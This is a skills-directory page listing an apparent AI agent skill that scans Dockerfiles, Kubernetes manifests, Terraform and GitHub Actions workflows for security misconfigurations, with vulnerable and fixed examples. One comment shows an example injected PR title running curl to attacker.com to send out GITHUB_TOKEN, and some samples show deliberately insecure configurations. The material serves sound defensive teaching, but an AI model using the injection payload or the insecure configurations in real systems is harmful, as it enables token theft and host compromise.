Back to skills
SKILL.md
Sc Iac
BSecurityInfrastructure-as-Code security scanning — Dockerfile, Kubernetes, Terraform, and GitHub Actions misconfigurations
- 4 stars
- 0 votes
- 0 copies
- 2 views
- Added September 12, 2026
Security analysis
88/100- Sends environment variables or credentials to an external URL
Pro scans all 2 files and shows the line behind each finding
npx -y skills add aibot88/sec_skill_store --skill sc-iac --agent claude-codeAre you the author of Sc Iac?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/aibot88-sc-iac)---
name: sc-iac
description: Infrastructure-as-Code security scanning — Dockerfile, Kubernetes, Terraform, and GitHub Actions misconfigurations
license: MIT
metadata:
category: security
version: "1.0.0"
---
# SC: Infrastructure-as-Code Security
## Purpose
Scans Infrastructure-as-Code files for security misconfigurations including Dockerfile anti-patterns, Kubernetes privilege escalation, Terraform resource exposure, and GitHub Actions injection vulnerabilities. Covers the full deployment pipeline from build to runtime.
## Activation
Called by sc-orchestrator during Phase 2 when IaC files are detected (Dockerfile, *.tf, k8s manifests, workflow files).
## Phase 1: Discovery
### File Patterns
```
**/Dockerfile*, **/docker-compose*, **/*.tf, **/*.tfvars,
**/k8s/*, **/kubernetes/*, **/helm/*, **/*.yaml, **/*.yml,
**/.github/workflows/*, **/.gitlab-ci.yml, **/Jenkinsfile
```
### Dockerfile Checks
```dockerfile
# VULNERABLE: Running as root
FROM node:18
COPY . /app
CMD ["node", "app.js"] # Runs as root!
# SAFE: Non-root user
FROM node:18
RUN addgroup --system app && adduser --system --ingroup app app
COPY --chown=app:app . /app
USER app
CMD ["node", "app.js"]
```
- Running as root (missing USER directive)
- Secrets in build args (`ARG PASSWORD=secret`)
- Using `latest` tag for base images
- ADD instead of COPY (ADD can auto-extract and fetch URLs)
- Exposed unnecessary ports
### Kubernetes Checks
```yaml
# VULNERABLE: Privileged container
spec:
containers:
- name: app
securityContext:
privileged: true # Full host access!
runAsRoot: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: / # Mounting host filesystem!
```
- Privileged containers, hostPID, hostNetwork
- hostPath volume mounts
- Missing network policies
- Default service account with broad permissions
- Missing resource limits
- Missing securityContext (readOnlyRootFilesystem, runAsNonRoot)
### Terraform Checks
```hcl
# VULNERABLE: Public S3 bucket
resource "aws_s3_bucket" "data" {
bucket = "my-data-bucket"
acl = "public-read" # Publicly accessible!
}
# VULNERABLE: Overly permissive IAM
resource "aws_iam_policy" "admin" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = "*" # Full admin access!
Resource = "*"
}]
})
}
```
- Public S3 buckets, public RDS instances
- Overly permissive IAM policies (Action: *)
- Hardcoded credentials in .tf files
- Missing encryption (at rest and in transit)
- Security groups with 0.0.0.0/0 ingress
### GitHub Actions Checks
```yaml
# VULNERABLE: Script injection via PR title
- run: echo "PR: ${{ github.event.pull_request.title }}"
# Attacker PR title: $(curl attacker.com/steal?token=$GITHUB_TOKEN)
# SAFE: Use environment variable
- run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
```
- Expression injection in `run:` blocks
- `pull_request_target` with checkout of PR code
- Untrusted third-party actions without pinned SHA
- GITHUB_TOKEN with excessive permissions
- Secrets in workflow logs
## Severity Classification
- **Critical:** Privileged containers, hardcoded secrets in IaC, public databases, script injection in CI
- **High:** Running as root, overly permissive IAM, public storage, hostPath mounts
- **Medium:** Missing network policies, unpinned actions, missing encryption
- **Low:** Missing resource limits, using latest tags, minor configuration improvements
## Output Format
### Finding: IAC-{NNN}
- **Title:** {IaC misconfiguration type}
- **Severity:** Critical | High | Medium | Low
- **Confidence:** 0-100
- **File:** file/path:line
- **Vulnerability Type:** CWE-250 (Excessive Privileges) | CWE-732 (Incorrect Permission) | CWE-798 (Hardcoded Credentials)
- **Description:** {What was found}
- **Impact:** Container escape, data breach, lateral movement, supply chain attack.
- **Remediation:** {Specific fix with corrected configuration}
- **References:** https://cwe.mitre.org/data/definitions/250.html
## Common False Positives
1. **Development docker-compose** — running as root in local dev environment
2. **CI-only Dockerfiles** — build containers with elevated privileges for CI tasks
3. **Terraform plan output** — resource definitions that are overridden by variables
Files in this skill
- SKILL.md
- source.json
Attribution
Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.